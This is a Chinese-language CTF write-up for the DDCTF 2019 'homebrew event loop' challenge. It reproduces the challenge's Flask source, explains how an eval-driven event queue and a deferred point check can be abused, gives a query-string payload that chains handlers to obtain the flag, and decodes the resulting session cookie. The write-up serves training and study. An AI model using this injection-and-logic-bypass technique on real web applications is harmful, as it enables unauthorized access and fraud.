[DDCTF 2019]

homebrew event loop

首页可以下载到源码

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

通过网页也可以看出这是个购买题,有趣的是当我们买钻石时

首先调用了

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items#此时session已经加上
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])#然后调用consume_point

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:#到这里才判断扣款是否能成功
        raise RollBackException()
    session['points'] -= point_to_consume

#这里的调用都是异步的,函数trigger_event()维护了一个命令执行的队列,
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

如果我们构造buy_handler()->get_flag_handler()->consume_point_function(),就能实现bypass,拿到flag

def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))#可以看到这里有一个命令拼接点
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

所以可以构造payload:

action:trigger_event#;action:buy;8#action:get_flag;

利用trigger_event_handler()这个函数把两个函数拼起来

虽然后续还是会监测报错

但是根据trigger_eventlog此时flag已经在session里了

session=..eJyNjk1rg0AYhP9K2XMOq8aKgpcSFKSuxGh2fUsprpsmfuxGUNNq8L9XAi2U9NDbwMw8M1fUnI_IebmiB44clFGCc2oPkYrHnAoFLHgHBg1X2yrSvUr4zYVXbSlYbZEdOWVG3HJ9_Qj6HjMduowWFppXdzgZaIek0xbrzhGN8GzJfU9FH66L5tefNqj9kE1txXVzElRrmPF0yamJoyl1_yApaIEV1pKogR1vpN-gKfdt4_slyM8TGB0memqGmxDDTpOwKfBzEtfgp32U1CMptSqcsjWZUpPQ7ZjJwP7fMFKDfCv7g-yQg1eoPZeqX6QxfwE3GHU3.XmEWdQ.mp-YDxJPoIEwXEoGxjWKW61ArgE;

下一读就是解密session 这里使用flask-session-cookie-manager

拿到

{"log":[{" b":"YWN0aW9uOnRyaWdnZXJfZXZlbnQjO2FjdGlvbjpidXk7NSNhY3Rpb246Z2V0X2ZsYWc7"},[{" b":"YWN0aW9uOmJ1eTs1"},{" b":"YWN0aW9uOmdldF9mbGFnOw=="}],[{" b":"ZnVuYzpjb25zdW1lX3BvaW50OzU="},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],{" b":"ZnVuYzpzaG93X2ZsYWc7ZmxhZ3s0N2U5MDM0ZS1mZDc0LTRkZGUtOTkyNi1jMzY4NzU5NWQyYmJ9"},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],"num_items":0,"points":3}

逐个base64下找到到flag

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-09-05 12:07:36

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